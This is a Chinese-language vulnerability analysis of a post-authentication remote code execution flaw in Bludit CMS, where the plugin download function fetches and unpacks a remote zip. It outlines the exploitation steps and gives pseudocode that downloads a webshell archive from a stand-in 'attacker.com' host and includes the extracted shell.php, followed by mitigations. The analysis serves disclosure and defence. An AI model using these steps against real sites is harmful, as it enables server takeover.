Bludit cms漏洞挖掘
字数 1040 2025-08-05 00:15:28
Bludit CMS 后台RCE漏洞分析与利用
漏洞概述
Bludit CMS存在一个后台远程代码执行(RCE)漏洞,攻击者可以通过插件下载功能从远程服务器下载恶意压缩包并解压,最终实现任意代码执行。
环境准备
- Bludit CMS源码:https://bludit.com/
- 特点:不依赖数据库,数据以JSON形式存储在文件中
漏洞分析
文件写入点分析
- 在
edit-category/general路由中可以修改数据并写入文件 - 文件处理流程:
- 直接将
$_POST整个数组传入 - 对部分参数进行
strip_tags处理 - 写入
newKey中
- 直接将
写入限制
- 每个文件开头都有
defined('BLUDIT')or die('xxx');检查 - 此常量仅在入口文件中声明
- 导致即使能注入代码,在没有文件包含的情况下也难以利用
插件机制分析
- 插件存储在
bl-plugins文件夹 - 通过
activate加载插件 admin.php文件包含插件文件并实例化插件类存入数组site.php会遍历并调用已激活插件的beforeall方法
漏洞利用点
- 插件中的
downloadfiles方法存在漏洞- 调用
TCP::download方法 - 从URL获取内容并写入目标文件
- 最后解压到目标文件所在目录(
romote-content目录)
- 调用
漏洞利用步骤
- 构造恶意压缩包并放置在攻击者控制的服务器上
- 修改
source参数指向恶意服务器 - 上传带有WebShell的压缩包
- 利用
trywebhook功能:- 将webhook写入配置文件
- 访问对应webhook路由时会执行插件的
beforeall方法 - 导致恶意文件被下载解压
完整利用流程
-
登录Bludit后台(需要管理员权限)
-
进入插件管理页面
-
利用插件下载功能:
// 伪代码表示攻击流程 $malicious_zip = "http://attacker.com/shell.zip"; // 包含WebShell的压缩包 $target_path = "/path/to/bludit/bl-plugins/"; // Bludit插件目录 // 通过插件下载功能触发漏洞 downloadPlugin($malicious_zip); // 系统会自动解压到romote-content目录 // 包含解压后的恶意文件 include($target_path . "romote-content/shell.php"); -
访问解压后的WebShell获取系统权限
防御措施
- 限制插件下载源为官方仓库
- 对下载的文件进行严格校验
- 更新到最新版本(如果已修复)
- 实施最小权限原则,限制Web服务器用户权限
- 监控
bl-plugins目录的异常文件变化
相似漏洞
此漏洞与极致CMS后台的一个漏洞原理相似,都是通过插件下载功能实现远程代码执行。
总结
该漏洞利用Bludit CMS插件下载功能缺乏安全校验的缺陷,通过构造恶意压缩包实现远程代码执行。由于需要管理员权限,属于后台RCE漏洞,危害程度取决于攻击者是否已获取后台权限。建议用户及时更新并严格管理插件安装源。